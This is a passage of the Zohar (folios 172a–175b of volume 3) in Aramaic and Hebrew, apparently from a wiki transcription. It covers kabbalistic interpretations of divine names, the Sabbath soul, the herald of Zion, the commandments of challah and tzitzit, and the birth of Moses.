{{ממ זהר משולב|ג|קעב|א}}&lt;קטע התחלה=דף קעב א/&gt;בשעתא רביעאה קרי ואמר {{צ|קול יהוה יחיל מדבר וגו'}}. בשעתא חמישאה קרי ואמר {{צ|קול יהוה על המים וגו'}}. בשעתא שתיתאה קרי ואמר {{צ|קול יהוה יחולל אילות וגו'}}. לבתר קרי ואמר {{צ|קול אומר קרא ואמר מה אקרא וגו'}}. ודא איהו תרנגולא דקרי ולא שכיך ולבתר קרי כמלקדמין ומאי קרי כל עובדין דבני עלמא בגין דאיהו מאריה דאחמתא (ס&quot;א דחכמתא) וקסת הסופר בחרצוי וכל עובדין דבני עלמא כתיב בכל יומא. ובליליא בתר דקרי כל קריאן אלין קרי כל מה דכתב ביומא. ואלמלא רגלוי אצבעאן דיליה דאינון תרין דרגין חד ההוא דקיימא באמצעיתא דאיהו רב וההוא דקיימא מאחורא דאיהו זעיר דקא מעכבין ליה יהא מוקיד עלמא בשלהובוי. ומה עבדי כיון דסליק צפרא וחוטא דנהירו נפיק מסטר דרום כדין מתחברין כלהו ואתעבדין תרין רגלין תרין טלפין כעגלא לקיימא דכתיב {{צ|וכף רגליהם ככף רגל עגל}} והא ידעת רזא דא. שאלת ענפא דגורן לגו בעזרה דא אית תלת מאה ושתין וחמשה היכלין כחושבן יומי שתא ובכל פתחא ופתחא כתיב {{צ|יהי שלום בחילך שלוה בארמנותיך}} לא ידיע מאי הוא בהני היכלין אלא כלהו אתחמן עובד ציור. שבע סדרין דמרגלאן אתחמן אלין באלין בכל חד וחד. אי חסידא קדישא כמה משבח רב מתיבתא היכלא חדא דאיהו בריש סטר מזרח דעזרה דא בגין דארבע אינון בד' סטרין דעלמא אבל היכלא דסטר מזרח אסגי נהורין דיליה יתיר מכלהו. יומא חד בימא רבא לויתן נפיק וכל ימא אזדעזע וכל נוני אזלין לכאן ולכאן כד מטי לויתן בפתחא דפתחא דתהומא שארי למחדי ואשתכך תמן תהומי אלא ההוא כחיזו דמעיין ואתחפיין נהורין ולא אתחזון כל אינון נהורין בר נהורא דהיכלא דבסטר מזרח. דא ההוא מרגלא דקא אפיק לויתן מגו ההוא תהומא דאקרי סגדו&quot;ן. ממה אתעביד. אלא יומא דא דקא אפיק לויתן דאזדעזע ימא יומא דאתחרב בי מקדשא ט' באב איהו. וההוא מרגלא דכד דכיר קב&quot;ה לבנוי ואושיד תרין דמעין לגו ימא רבא חד נפיל לגו תהומא דא דאקרי סגדו&quot;ן וחד נפיל לגו תהומא אחרא דאקרי גילב&quot;א בגין דחמש תחומי אחרנין אינון בימא רבא. אבל לא חשיבין כהני אחרנין וכיון דנפלי אינון דמעין קפאן גו תהומי חד. וחד אטבע גו תהומא דאקרי גילב&quot;א דתתא גו שמרים דחמרא דורדיין בישין נפיק חד ערעורא מקטרגא מזיקא קדמאה ואיהו ברוחא דיוקנא דאדם כד קריב לגו קודשא כיון דמתעבר מתמן ובעי לנחתא לתתא לאתלבשא בלבושא לנזקא עלמא נחית הוא ורתיכוי. ולבושא קדמאה דקא נקיט תבנית שור דיוקנא דשור וקדמאה לנזיקין מאינון ארבע. שור איהו. ואינון ארבע אבות לנזקא עלמא. וכלהו תלתא אבות נזיקין בר שור כלהו דיליה ועל דא כתיב {{צ|וימירו את כבודם בתבנית שור אוכל עשב}}. מהו {{צ|אוכל עשב}}? הא דרשינן ביה. אבל עקרא דמלה מתמצית הלחם ולא שבעת זיני דגן לית ליה בהו חולקא ולא יאות ליה למהוי תמן מדוכתייהו ואלין יתבין בדוכתייהו עד לא נפקי אלין זמינין אלין נהירו ונציצו דלהון לא יכלין עיינין למסבל. אזלין בסחרנין לית להון שכיכו לעלמין. כד אסתכל בר נש בהאי היכלא מיד באסתכלותא קדמאה אתחזי זעיר ולא זעיר אסתכל יתיר אתחזי רב. תו אסתכל אתחזי יתיר רב כל מה דאסתכל הכי אתחזי באתפשטותא רב ועלאה עד דדמי &lt;קטע סוף=דף קעב א/&gt;

 
{{ממ זהר משולב|ג|קעב|ב}}&lt;קטע התחלה=דף קעב ב/&gt;באסתכלותא כמלא נימא דלית ליה שיעורא עובדין סגיאין לגו דלא ידיע אומנו דלהון מניה נהרא עזרה וכל מה דאית בה בר כרובים דנהורא דלהון סלקא עד רום רקיעא בגוונין סגיאין ונהורין מנצצן אלף וחמש מאה וחמשה ושבעין גופנין עבדין איבין בעזרה דא יתיר חובק את ידיו במרירו ואנינו דיליה ולבתר אוכל את בשרו בעל כרחיה דלית ליה רשו לשלטאה על מלה אחרא מה אתהני ליה בכל מה דאסטי ועביד ועמל דלבתר לית ליה רשו אלא על דיליה לבתר מרקיד וחדי ככסיל בלא דעתא כלל ואזיל בלא תועלתא ואכיל לבשרא. ובשאר לית ליה רשו מרירו דעילא ותא כד ישראל בעאקו ואכלי לון שנאיהון ולא יהבי חילא בעובדין טבין דלהון לאפקא מניה ואפילו מבשריה דאיהו מהאי סטר אבאיש קמי מלכא קדישא דאיהו רחום וחנון אבל על דיליה רוחא קדישא ונשמתא קדישא לית עלאין ותתאין יכלין לשלטא עלוי כלל ועל דא כל תסקופין וכל מה דאסטי ההוא רע דחשיב למשלט על רוחא קדישא ולבתר לא יכיל וישוב ואוכל את בשרו. מה תועלתא הוה ליה. ועוד דאינון חפאן כלהו כערטיראה תקיף ולית שכיכו לעלאין ותתאין. תא ואימא לך מלה. אי תימא דחדו הוא למלאך המות כד קטיל בני נשא. לאו. אלא בגין דחמי דרעותא דמאריה בכך אחזי גרמיה בחדו למעבד רעותיה דקב&quot;ה דכתיב {{צ|רוח סערה עושה דברו}}. 

א&quot;ל ר&quot;ש והא איהו אזיל ומרקד בחדוה קמי נשין 
א&quot;ל אי חסידא קדישא ודאי הכי הוא לאחזאה קמי מלכא דניחא ליה ברעותיה דמלכא. אבל נייחא דיליה בהספדא דנשין איהו רקיד ואודניה להספדא. 
א&quot;ל אי הכי אמאי אזיל ואסטי על בר נש לעילא ואדכר לחובוי. 
א&quot;ל בגין דאיהו זקן וכסיל וחשיב למשלט על רוחא וכל תאובתיה בגיני כך איהו לסוף לא שליט אלא על דיליה. בשרא דיליה. ועל דא כתיב {{צ|ישוב עמלו בראשו}} אזיל ובעי לארגשא עלמא ומיא סליקין מגו שאר תהומין ובעאן לחפיא עלמא אינון דמעין רתיחין יתיר מכל אשא דעלמא ומגו תוקף דרתיחו דלהון אקפו מיא גו ימא דנקפא ואלמלא דרמז קב&quot;ה חד נשיבו מסטרא דאברהם מעמודא דיליה ואחזי על עלמא לא יכיל למיקם אפילו רגעא חדא. אינון דמעין כד נפלין גו ימא אשתמע קלא בין ימא עד מערתא דכפלתא מקל נהימו דלהון דקא אשתמע תמן כד עאלין גו ימא מתערן אבהן קדמאי וקמו וחשבו דקב&quot;ה בעי לאהפכא עלמא עד דקלא נפיק ואמר לון לא תדחלו רחימין קדישין בגינכון דכיר קודשא בריך הוא לבניכון ואיהו בעי דמפרק לון ואתון תחמון אלפא ביתין כלהו משלבן ומתצרפאן אלין באלין ואתחברן בצרופא דשמא קדישא כיון דאתחזון אתוון בצרופא דא אלין גניזין ונפקין אחרנין וכן כלהו אלין גניזין ואלין נפקין כלהו לגו בחלולא דאינון כפתורים. תו פרחי תלת זמנין ביומא באוירא ונפקי לבר וקיימא שמא בארבע אתוון תליין באוירא שעתא ופלגא לבתר גניז דא מיד נפיק מגו אוירא מחלולא דיליה שמא דתריסר אתוון פרח ותליא באוירא שעתא חדא ולא יתיר לבתר גניז דא ונפקא מיד צרופא דאתוון אחרנין שמא דכ' (ס&quot;א דכ&quot;ב) אתוון ותליין באוירא שעתא אחרא ואגניז. ומיד נפקי אתוון מחלולא אחרא שמא דתמניא ועשרין אתוון מתעטרין כלהו בכתרייהו וקיימי שעתא ופלגא ואגניז דא ומיד נפקי תליא באוירא שמא דעשרין וחמש אתוון בצרופייהו וקיימא שעתא ותלת רגעי נפקי אתוון בארבעין ותרין אתוון לעלמא קיימא שמהן אלא אתוון כולהו לא &lt;קטע סוף=דף קעב ב/&gt;

 
{{ממ זהר משולב|ג|קעג|א}}&lt;קטע התחלה=דף קעג א/&gt;משתככי לעלמין בלטי ומנצצי לבר וסלקי ונחתי לית מאן דיכיל לקיימא בהו בר משיח בטורח סגי. דא גניז לבתר דקיימא תרין שעתין ועשרין ותרין רגעין והאי שמא גליפא דע&quot;ב אתוון קא נפיק וקיימא ותליא באויר אשעתא ופלגא כל הני שמהן לא נפקי ולא אתחזון אלא זמנא חדא ביומא אבל אינון אלפא ביתין אתחזון פרחין באוירא ומצרפין אלין באלין תלת זמנין ביומא כד פרחן אתוון דאלפא ביתין אלין פרחין מכאן ואלין מכאן ומתצרפן כלהו כד נחית תמן רב מתיבתא שארי משיח חמא בצרופא דאלפא ביתא אתוון כמה דחמא דניאל דאינון ממתוס ננקפי אאלרן. כל מעלי שבתא כד מקדשין ישראל יומא לתתא כרוזא כריז לארבע סטרי עלמא אתכנשו משריין קדישין אתקנו כרסיין (קדישין) מאן חמי חדוה בתלת מאה ותשעין רקיעין כמה ממנן כמה שלטונין מתכנשין לאתרייהו. כיון דישראל לתתא מקדשין (וקב&quot;ה) כדין אתער אילנא דחייא ואקיש באינון טרפין דיליה רוח נשיבו חד מגו עלמא דאתי ואינון ענפין דאילנא מתנענען וסלקין ריחין דעלמא דאתי ההוא אילנא דחיי אתער ואפיק נשמתין קדישין ופריש על עלמא. ועם כל דא נשמתין נפקין ונשמתין עאלין אלין מתערי אלין. אלין נפקין ואלין עאלין ואילנא דחיי בחדוה. וכדין ישראל כלהו מתעטרין בעטרין דאינון נשמתין קדישין כלהו בחדוה בנייחא. וכלה שבת אית לון ההוא חדוה וההוא נייחא וכל צדיקייא די בגנתא כלהו סלקין ומתענגין בענוגא עלאה דעלמא דאתי. כיון דנפיק שבתא כלהו נשמתין פרחין וסלקין. 

תא חזי כד עייל שבתא נשמתין נחתין לשרייא על עמא קדישא ונשמתין דצדיקייא סלקין לעילא. כד נפיק שבתא נשמתין סלקין אינון דשארו עלייהו דישראל ונשמתין נחתין אינון נשמתין דצדיקייא כיון דסלקין כלהו נשמתין דשארו עלייהו דישראל סלקי וקיימין בדיוקנא קמי מלכא קדישא וקב&quot;ה שאיל לכלהו מאי חדושא הוה לכו בההוא עלמא באורייתא. זכאה איהו מאן דחדושא דאורייתא אמרת קמיה. כמה חדוה עביד קב&quot;ה כניש לפמליא דיליה ואמר שמעו חדושא דאורייתא דאמרת נשמתא דא דפלו' וכלהו מוקמי ההיא מלה בתרי מתיבתי. אינון לתתא וקב&quot;ה לעילא חתים לההיא מלה. 

תא חזי כד מלה אתחדש באורייתא ונשמתא דנחתא בשבתא אתעסקת באינון מלין חדתין וסלקי לעילא. כל פמליא דלעילא צייתין לההוא מלה וחיות הקדש מתרבן בגדפין ומתלבשן בגדפין. וכד שאיל לון קב&quot;ה ולא תבין ושתקין כדין חיות הקדש מה כתיב {{צ|בעמדם תרפינה כנפיהם}} כמה דאת אמר כי עמדו לא ענו עוד וכפתחו עמדו כל העם. ואי תימא שתיקה אמאי קרו ליה עמידה אלא בדבורא אית ז' שייפין דמתנענען בהדיה. לבא. ריאה. קנה. לשון. שניים. שפוון. בשר. ובשתיקה קיימו בקיומייהו בלא נענועא. ועל דא קרי לשתיקה עמידה דהא רב המנונא סבא (נ&quot;א רב מתיבתא) אמר ישלח עזרך מקדש וגו'. מקדש דא קדוש ידים. ומציון יסעדך דא המוציא דאיהו סעיד לבא דבר נש. יזכור כל מנחותיך כל לאסגאה מלה אחרא. דא נטילת ידים בתרייתא. ועולתך ידשנה סלה דא ברכת המזון בזמון. ואי את עביד כן יתן לך כלבבך וכל עצתך ימלא. ובשבת מקדש דא קדושא רבא ועל מלה דא אתעטרו צדיקייא בגן עדן משבת לשבת אחרא. תו פתח ואמר על הר &lt;קטע סוף=דף קעג א/&gt;

 
{{ממ זהר משולב|ג|קעג|ב}}&lt;קטע התחלה=דף קעג ב/&gt;גבוה עלי לך מבשרת ציון וגו'. על הר גבוה האי ודאי הר העבדים אתר דמשה אתקבר. והא אוקמוה דשכינתא תסלק לתמן ותבשר עלמא. אבל כלא איהו. מבשרת ציון דא איהי חפצי בה אתתא דנתן בר דוד אימא איהי דמשיחא מנחם ב&quot;ר עמיא&quot;ל ואיהי תיפוק ותבשר ואיהי בכללא דמבשרת ציון קלא ישתמע בעלמא ותרין מלכין יתערון בעלמא לאגחא קרבא ויפוק שמא קדישא על עלמא. מה תבשר ותימא (שם) הנה אֲדנָי יְהֹוִה בחזק יבא וזרועו מושלח לו הנה שכרו אתו ופעולתו לפניו. הנה שכרו אתו דקב&quot;ה כריז בכל פמליא דלעילא ויימא לון אתכנשו ודאינו דינא. מאן דמסר נשמתיה על קדושת שמי אגריה מאי הוא ואינון יימרון כך וכך. מאן דסביל כמה חרופין וגדופין בכל יומא עלי מהו אגריה. אינון אמרי כך. מאן דאתענש בכל יומא עלי מהו אגריה. אינון אמרי כך. הדא הוא דכתיב {{צ|הנה שכרו אתו ופעולתו לפניו}}. מהו ופעולתו אלא כמה דכתיב {{צ|מה רב טובך וגו'}}. פעלת לחוסים בך דא הוא פעולתו. נגד בני אדם מהו אלא נגד עכו&quot;ם. אשר צפנת ליראיך. מהו {{צ|אשר צפנת}}? וכי מאן יגזול ויטול מן ידוי מה דהוא בעי למיהב דכתיב {{צ|צפנת}}. אלא פוק וחמי עובדין דרחמנו דעבד קב&quot;ה במה דאיהו מחי ביה יהיב אסוותא. במה מחי בשמאלא. בימינא קריב ובשמאלא מחי. במה דמחי ביה יהיב אסוותא לעולם כתיב ירמיה א (?)צפון תפתח הרעה. ובצפון מחי. דמתמן נפקי כל דינין וכל גזירי. קשיין. וביה שרי כל אגר טב וכל טיבו דזמין קב&quot;ה למיהב לישראל. לזמנא דאתי קרי קב&quot;ה לצפון ויימא ליה בך יהבית כל טיבו וכל אגר טוב לבני דסבלו כמה בישין בהאי עלמא על קדושת שמי. הב אגרין טבין דיהבית בך. הדא הוא דכתיב {{צ|אומר לצפון תני ולתימן אל תכלאי וגו'}}. וכי ארחא הכי הוא דדרום לממנע ברכאן והא כל ברכאן מסטרא דדרום וכל טבין דעלמא מדרום נפקי ואיהו אמר לתימן אל תכלאי אלא בההיא שעתא יתער קב&quot;ה לאברהם ויימא ליה קום דהא מטא זמנא דאנא פריק לבנך למיהב לון אגר טב על כל מה דסבלו בגלותא ומגו דאברהם הוה בזבינו דלהון דכתיב {{צ|אם לא כי צורם מכרם}} דא אברהם. הוה ליה כמאן דלא טב בעינוי. ואחמי גרמיה כמאן דבעי דילקון על חוביהון יתיר ויימא גבו מחוביהון גבו מחטאיהון א&quot;ל קב&quot;ה לאברהם ידענא כלא איהו מה דאמרת לאנפין. אנא אוף הכי לאנפין. אל תכלאי אנא בעי לפייסא לך על בנך. לא תמנע טיבו מנהון לא תמנע אגר טב מנהון כמה וכמה סבלו על חוביהן ובגיני כך אומר לצפון תני. והיינו {{צ|אשר צפנת}}. ודא הוא מלה (ס&quot;א דתהא) דההיא מבשרת. ותו תבשר זמנא תניינא בשעתא דשכינתא תסלק על ההוא טורא עלאה ותהך ותבשר לאבהן מיד תהך לירושלם ותחמי לה בחרבנא. תיעול לציון ותמן תקרקר קירא כמלקדמין על אתר בי מותבה ועל יקרא דילה בההוא אתר. ותמן אומיאת דלא תיטול מתמן ולא תפוק עד דקב&quot;ה יפרוק לבנהא ודא חפצי בה. תבשד(?) כמלקדמין ואמרת צהלי ורני יושבת ציון כי גדול בקרבך וגו'. מאי {{צ|גדול בקרבך}}? דא קב&quot;ה דאיהו אתי לגבה לאקמא לה מעפרא ויימא לה התנערי מעפר קומי שבי ירושלם ירושלם איהי וירושלם שמה ודאי. ובדא אוף הכי כמה חדו על חדו הוי לצדיקייא בגן עדן ובגין כך זכאה איהו מאן דנשמתיה בשבת אסהידת קמי מלכא על חדושא דאורייתא דקב&quot;ה. וכל פמליא דיליה וכל אינון נשמתין דצדיקייא דהוו בגן עדן כלהו מתעטרן בההוא מלה. 

תו שמענא בוצינא &lt;קטע סוף=דף קעג ב/&gt;{{ממ זהר משולב|ג|קעד|א}}&lt;קטע התחלה=דף קעד א/&gt;קדישא דכמה יקר על יקר ועטרה על עטרה מעטרן לאבוה דההוא ב&quot;נ תמן בשעתא דאמר קב&quot;ה אתכנשי למשמע חדושא ומלין חדתין דאורייתא משמיה דפלוני בר פלוני כמה אינון דנשקין על רישיה כמה צדיקייא מעטרין ליה כד נחתין. זכאה חולקהון דכל אינון דמשתדלין באורייתא יומא דשבתא משאר יומין. ע&quot;כ:

רעיא מהימנא

(במדבר ט&quot;ו) רֵאשִׁית עֲרִיסוֹתֵיכֶם חַלָּה תָּרִימוּ וְגוֹ', פִּקּוּדָא דָּא לְהַפְרִישׁ חַלָּה לַכֹּהֵן. חַלָּ&quot;ה הָכִי חוּשְׁבָּנֵיהּ, מ&quot;ג בֵּיצִּים, וְחוֹמֶשׁ בֵּיצָּה, חַד מֵחֲמֵשׁ. וְאִית חוֹמֶשׁ חַד מִן חַמְשִׁין, דְּאִיהוּ ן'. וְדָא סִימַן מָגֵ&quot;ן, דְּאִיהוּ מִיכָאֵ&quot;ל גַּבְרִיאֵ&quot;ל נוּרִיאֵ&quot;ל. חַלָה, שְׁכִינְתָּא. דִּבַאֲתָר דְּאִלֵּין מַלְאֲכִין תַּמָּן, אֲבָהָן תַּמָּן. וּבְאַתְרָא דַּאֲבָהָן תַּמָּן, שְׁכִינְתָּא תַּמָּן. וּבָה וַיְחַל, בָּהּ צַּלֵּינָא, הֲדָא הוּא דִכְתִיב (שמות לב) וַיְחַל מֹשֶׁה אֶת פְּנֵי יְיָ אֱלֹהָיו. (דברים ג) אֲדֹנָי יֶדוִֹד אַתָּה הַחִלּוֹתָ לְהַרְאוֹת אֶת עַבְדְּךָ. וּבָהּ חָלָה זְכוּת אָבוֹת. וּבָהּ תָּמָה זְכוּת אָבוֹת לָרְשָׁעִים. דַּהֲווֹ מְקַבְּלִים אַגְרַיְיהוּ בְּהַאי עָלְמָא. דְּמִסִטְרָא דִּימִינָא, דְּתַמָּן י' דְּאִיהוּ חָכְמָה, שֵׁרוּתָא דִּשְׁמָא דַּיְדוָֹד, דְּאִיהוּ אַחְזֵי זְכוּתָא עַל בְּנָהָא מִימִינָא, דְּתַמָּן רמ&quot;ח פִּקוּדִין דַּעֲשֵׂה. מִסִּטְרָא דְּאָת ה' בַּתְרָאָה, דְּאִיהִי לִשְׂמָאלָא דִּגְבוּרָה, דְּתַמָּן לֹא תַּעֲשֶׂה, דְּאִינּוּן שס&quot;ה, דְּתַמָּן נִדוֹנִין רְשָׁעִים גְּמוּרִים, תָּמָה לוֹן זְכוּת אָבוֹת, וְאִתְהַפָּךְ לוֹן שֵׁם יְהוָֹ&quot;ה, הוה&quot;י. וְאוֹלִיפְנָא מֵהָמָן הָרָשָׁע, (אסתר ה) וְכָל זֶה אֵינֶנּוּ שׁוְֹה לִי. 

(ע&quot;כ רעיא מהימנא)

{{צ|ויאמר יהוה אל משה לאמר דבר אל בני ישראל וגו' ועשו להם ציצית על כנפי בגדיהם לדורותם וגו'}}. {{ש}}
ר' חזקיה פתח: {{צ|ויראני את יהושע הכהן הגדול וגו'}}. כמה זכאין אינון ישראל דקב&quot;ה בעי ביקרהון על כל בני עלמא ויהב לון אורייתא קדישא ויהב לון נביאי מהימני דמדברי להו באורייתא בארח קשוט. תא חזי כל נביאי ונביאי דאוקים קב&quot;ה לישראל כלהו אתגלי קב&quot;ה עלייהו בדרגין עלאין קדישין וחמו זיו יקרא קדישא דמלכא מאתר עלאה אבל לא קריב כמשה דהוה קריב למלכא יתיר מכלא דהא זכאה חולקיה יתיר מכל בני עלמא דעליה כתיב {{צ|פה אל פה אדבר בו ומראה ולא בחידות}} ושאר נביאי הוו חמאן מאתר רחיקא כמה דאת אמר מרחוק יהוה נראה לי א&quot;ר חזקיה הכי אוליפנא כתיב {{צ|וילך איש מבית לוי ויקח את בת לוי}}. {{צ|וילך איש}} - דא קב&quot;ה כמה דאת אמר {{צ|יהוה איש מלחמה}}. {{צ|מבית לוי}} - דא קב&quot;ה אתר דחכמה עלאה וההוא זוהר (ס&quot;א נהר) מתחברן כחדא דלא מתפרשן לעלמין. {{צ|מבית לוי}} - דאשרי לויתן (ס&quot;א כל חידו) בלחודוי בעלמא הדא הוא דכתיב {{צ|לויתן זה יצרת לשחק בו}}. {{צ|ויקח את בת לוי}} - דא קב&quot;ה אתר דנהירו דסיהרא נהיר. {{צ|ותהר האשה ותלד בן}}. {{צ|האשה}} ודאי כמה דאת אמר {{צ|לזאת יקרא אשה}}. בקדמיתא {{צ|בת לוי}} הכי הוא ודאי וכי בת לוי בקדמיתא והשתא אשה? אלא הכי אוליפנא אתתא עד לא אזדווגת אתקריאת 'בת פלוני', בתר דאזדווגת אתקרי' 'אשה'. והכא בת ואשה כלא בחד דרגא היא. 

{{צ|ותצפנהו שלשה ירחים}} - אלין תלת ירחין דדינא קשיא שריא בעלמא. ומאי נינהו תמו&quot;ז וא&quot;ב וטב&quot;ת. מאי קא משמע לן דעד דלא נחת משה לעלמא שכיח הוה הוא לעילא ועל דא אזדווגת ביה שכינתא מן יומא דאתיליד. מכאן אמר רבי שמעון רוחיהון דצדיקייא שכיחין אינון לעילא עד לא יחתון לעלמא. {{צ|ולא יכלה עוד הצפינו ותקח לו וגו'}} מאי {{צ|ותקח לו תיבת גמא}}? דחפת ליה בסימנהא למהוי נטיר מאינון נוני ימא דשאטין בימא רבא כמה דכתיב {{צ|שם רמש ואין מספר}}, והיא חפת ליה למהוי נטיר מנייהו בחפו (ס&quot;א דסטרא דיובלא יקירא) דבני ימא בלא יקירא בתרי גוונין בחיוור ואוכס ואנח ליה למשה למישט בינייהו &lt;קטע סוף=דף קעד א/&gt;

 
{{ממ זהר משולב|ג|קעד|ב}}&lt;קטע התחלה=דף קעד ב/&gt;לאשתמודע ביניהון בגין דזמין הוא לסלקא בינייהו זמנא אחרא לקבלא אורייתא. {{צ|ותרד בת פרעה}} - דא היא דאתיא מסטרא שמאלא דדינא קשיא כמה דאתמר {{צ|לרחוץ על היאור}}. {{צ|על היאור}} דייקא ולא &quot;על הים&quot;. ואיתימא הא כתיב {{צ|ומטך אשר הכית בו את היאור}}. ומשה לא הכה אלא בים וקרייה קרא יאור אלא יאור הוה דמחא אהרן על ידא דמשה ושווייה קרא דאיהו עבד כהאי גוונא {{צ|וימלא שבעת ימים אחרי הכות יהוה את היאור}} ואהרן הכה אלא (ס&quot;א על דא) עד דאתא סטרא דקב&quot;ה קרייה קרא הכות יהוה לבתר קרייה בשמא דמשה. 

{{צ|ונערותיה הולכות}} - אינון שאר משריין דאתיין מסטרא דא. {{צ|ותפתח ותראהו את הילד}} - {{צ|ותראהו}} - &quot;ותרא&quot; מבעי ליה! מאי {{צ|ותראהו}}? והא אמר רבי שמעון לית לך מלה באורייתא או את חד באורייתא דלא אית ביה רזין יקירין ועלאין. אלא הכי אוליפנא רשימא דמלכא ומטרוניתא אשתכח ביה ואינון רשימא דוא&quot;ו ה&quot;א מיד {{צ|ותחמול עליו וגו'}}. עד כאן לעילא. מכאן ולהלאה לתתא בר האי קרא דכתיב {{צ|ותתצב אחותו מרחוק}} - אחותו דמאן? אחותו דהאי איהו דקרא לכנסת ישראל אחותי כמה דאת אמר {{צ|פתחי לי אחותי}}. {{צ|מרחוק}} כמה דאת אמר {{צ|מרחוק יהוה נראה לי}} מאי משמע? משמע דאינון זכאין עד דלא נחתו לעלמא אשתמודען אינון לעילא לגבי כלא וכ&quot;ש משה ומשמע דנשמתהון דצדיקייא אתמשך מאתר עלאה כמה דאוקימנא. ורזא דמלה אוליפנא דמשמע דאב ואם אית לנשמתא כמה דאית אב ואם לגופא בארעא ומשמע דבכל סטרין בין לעילא בין לתתא מדכר ונוקבא כלא אתיא ואשתכח והא אוקמוה רזא דכתיב {{צ|תוצא הארץ נפש חיה}}. {{צ|הארץ}} - דא כנסת ישראל. {{צ|נפש חיה}} - נפשא דאדם קדמאה עלאה כמה דאתמר. 

אתא רבי אבא ונשקיה אמר ודאי שפיר קא אמרת והכא הוא כלא. זכאה חולקיה דמשה נביאה מהימנא על כל שאר נביאי עלמא בגין כך לא אשתדל ביה כד אסתלק מעלמא בר קב&quot;ה דאעליה לפרגודיה ועל דא סליק משה בנבואה עלאה ובדרגין יקירין מכל נביאי עלמא ושאר נביאי חמאן בתר כותלין סגיאין. 

{{צ|ויראני את יהושע הכהן הגדול}}. מאי קא חמא דהוה קאים קמי מלאכא ומתלבש בלבושין מלוכלכין עד דכרוזא נפיק ואמר הסירו הבגדים הצואים מעליו. אמר רבי יצחק כתיב הכא {{צ|ועומד לפני המלאך}}. מאי {{צ|לפני המלאך}}? דהוה דאין דינוי ההוא דכתיב ביה {{צ|ואל תאמר לפני המלאך כי שגגה היא}}. מאי קא משמע לן דכל בר נש דלא זכי בהאי עלמא לאתעטפא בעטופא דמצוה ולאתלבשא בלבושא דמצוה - כדעייל בההוא עלמא קאים בלבושא טנופא דלא אצטריך וקאים בדינא עליה. 

תא חזי כמה לבושין מזדמנין בההוא עלמא וההוא בר נש דלא זכי בהאי עלמא בלבושין דמצוה כד עייל לההוא עלמא מלבשין ליה בחד לבושא דאשתמודע לגבי מאריהון דגיהנם וההוא לבושא ווי למאן דאתלבש ביה דהא כמה &lt;קטע סוף=דף קעד ב/&gt;{{ממ זהר משולב|ג|קעה|א}}&lt;קטע התחלה=דף קעה א/&gt;גרדיני נמוסין זמינין לאחדא ביה ועיילי ליה לגיהנם ושלמה מלכא צווח ואמר {{צ|בכל עת יהיו בגדיך לבנים}}. 

תאנא ברזא דספרא דצניעותא ארבע מלכין נפקין לקדמות ארבע סהדי בהו תלין כענבים באתכלא צרירן בהו ז' רהיטין סהדין סהדותא ולא קיימין בדוכתייהו: &lt;קטע סוף=דף קעה א/&gt;

 
{{ממ זהר משולב|ג|קעה|ב}}&lt;קטע התחלה=דף קעה ב/&gt;אמר רבי יהודה כמה סהדי עביד קב&quot;ה לאסהדא בהו בבני נשא וכלהו בעיטא ובסהדותא קיימין לקבליה. קם בצפרא אושיט רגלוי למהך. סהדייא קיימין לקבליה מכריזין ואמרין {{צ|רגלי חסידיו ישמור וגו'}}. {{צ|שמור רגלך כאשר תלך}}. {{צ|פלס מעגל רגלך}}. אפתח עינוי לאסתכלא בעלמא סהדייא אמרי (שם) {{צ|עיניך לנכח יביטו}}. קם למללא סהדייא אמרי {{צ|נצור לשונך מרע וגו'}}. אושיט ידוי במלי עלמא סהדייא אמרי (שם) {{צ|סור מרע ועשה טוב}}. אי ציית להו יאות. ואי לא כתיב {{צ|והשטן עומד על ימינו לשטנו}} - כלהו סהדין עליה בחובוי לעילא. אי בעי בר נש לאשתדלא בפולחנא דקב&quot;ה כלהו סהדין סניגורין קמיה וקיימין לאסהדא עליה טבאן בשעתא דאצטריך ליה. קם בצפרא מברך כמה ברכאן. אנו(?) תפילין ברישיה בין עינוי בעי לזקפא רישיה חמי שמא קדישא עלאה אחיד ורשים על רישיה ורצועין תליין מהאי גיסא ומהאי גיסא על לביה. הא אסתכל ביקרא דמאריה אושיט ידוי חמי ידא אחרא מתקשרא בקשורא דשמא קדישא אהדר ידיה ואסתכל ביקריה דאמריה אתעטף בעטופא דמצוה בארבע זיויין דכסותיה ארבע מלכין נפקין לקדמות ארבע. ארבע סהדי קשוט דמלכא תליין מארבע זיויין ותליין בהו כענבים באתכלא. מה אתכלא דאיהו חד ותליין ביה כמה ענבים מהאי סטר ומהאי סטר כך האי מצוה חדא ותליין ביה כמה ענבים וזגין וזמורין צרירין בהו. שבעה רהיטין אלין אינון שבעה צרירין דתכלתא דבעי לכרכא ביה בכל חד וחד, או לאסגאה עד תליסר מאן דיוסיף לא יוסיף עלייהו על תליסר מאן דימעט לא ימעט משבעה. ותאנא האי תכלת הוא רזא דדוד מלכא ודא חוטא דאברהם דזכה ביה לבנוי בתרוי מאי תכלת תכלית דכלא (ודאי) רבי יהודה אומר כסא הכבוד אקרי. רבי יצחק אמר שבעה כריכן דאיהי שכינתא שביעתא דכלא ודאי דהא היא מתברכא משיתא אחרנין על ידא דצדיק ואי תלת עשר תלת עשר אינון כמה דאוקמוה בתלת עשר מכילן והאי היא פתחא דכלהו. והיא חוטא חד ורשימא בגוונהא וגוונא דילה נפיק מחד נונא דאזיל בים כנרת וכנרת על שמה אתקרי ועל דא כנור הוה תלוי לעילא מערסא דדוד דהא (דדוד) ודאי איהו כנור דדוד מנגן מאליו למלכא קדישא עלאה ובגין כך גוונוי עייל עד רקיעא ומרקיעא עד כורסייא והכא כתיב מצוה כמה דאת אמר {{צ|מצות המלך היא}} {{צ|מדוע אתה עובר את מצות המלך}}. {{צ|כי מצות המלך}}. ותאנא יסודא ושרשא במלכא מתעטרין כחדא והאי הוא כתרא ופתחא לכל שאר כתרין דכתיב פתחו לי שערי צדק. וכתיב (שם) {{צ|זה השער ליהוה}} ועל דא כתיב {{צ|וראיתם אותו וזכרתם את כל מצות יהוה}} לאכללא בהאי כל שאר כתרין ועל דא אינון סהדי סהדותא ולא קיימי בדוכתייהו בגין דאיהי מצות ותנינן תשמישי מצוה נזרקין. ואי תימא הא לולב וערבה וכו' תשמישי קדושה אינון אמאי נזרקין. אלא תשמישי קדושה בגין דרשימין בכתיבה דשמא קדישא. א&quot;ר יצחק אינון חוטין לאחזאה היך תליין מכאן ומכאן לד' סטרי עלמא מהאי אתר ואיהי שלטא על כלא ברזא דלב דאיהי לבא דכל האי עלמא ולבא דעלאי ותליא בלב עלאה וכלא הוא בלב דנפק מחכמה עלאה. א&quot;ר יצחק שעורא דהאי (ס&quot;א ואורכא) דהאי אתמר באתוון גליפן דר' אלעזר. 